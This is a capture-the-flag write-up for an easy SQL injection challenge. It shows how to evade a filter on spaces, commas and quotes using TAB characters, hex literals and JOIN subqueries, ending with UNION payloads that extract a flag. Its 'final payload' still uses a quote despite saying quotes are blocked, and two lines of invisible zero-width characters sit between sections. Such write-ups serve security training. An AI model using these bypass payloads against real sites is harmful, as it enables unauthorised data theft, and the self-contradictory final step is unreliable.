Dead or alive 4

Platform: spbctf | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-03-09 | Status: Solved Techniques: hex_encoding_bypass, join_comma_bypass, tab_space_bypass

Summary

Task: SQL injection with WAF filtering spaces, commas, and quotes. Solution: Bypass using TAB character (%09) for spaces, hex encoding (0x...) for quotes, and JOIN subqueries for commas.

Dead or alive 4 — Web Kids 2.0

Description

SQL injection bypass challenge. URL: http://kslweb1.spb.ctf.su/sqli/bypass4/

Multiple characters are filtered by WAF: space, comma, and quote characters.

Analysis

When attempting standard SQL injection, the request is blocked by WAF. Analysis showed the following characters are filtered:

• Spaces ( )
• Commas (,)
• Quotes (' and ")

Solution

1. Space bypass via TAB

Instead of space, use the TAB character %09:

SELECT%09*%09FROM%09users

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

2. Quote bypass via hex encoding

Instead of quoted strings, use hex representation:

 sql read-only • copy allowed Copy
-- Instead of: WHERE name = 'admin'
-- Use: WHERE name = 0x61646d696e

3. Comma bypass via JOIN

Instead of UNION SELECT 1,2,3 use:

 sql read-only • copy allowed Copy
UNION%09SELECT%09*%09FROM%09(SELECT%091)a%09JOIN%09(SELECT%092)b%09JOIN%09(SELECT%093)c

Final payload

' OR 1=1--  →  %27%09OR%091=1--

Or for UNION injection:

UNION%09SELECT%09*%09FROM%09(SELECT%091)a%09JOIN%09(SELECT%09flag%09FROM%09secret_table)b

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍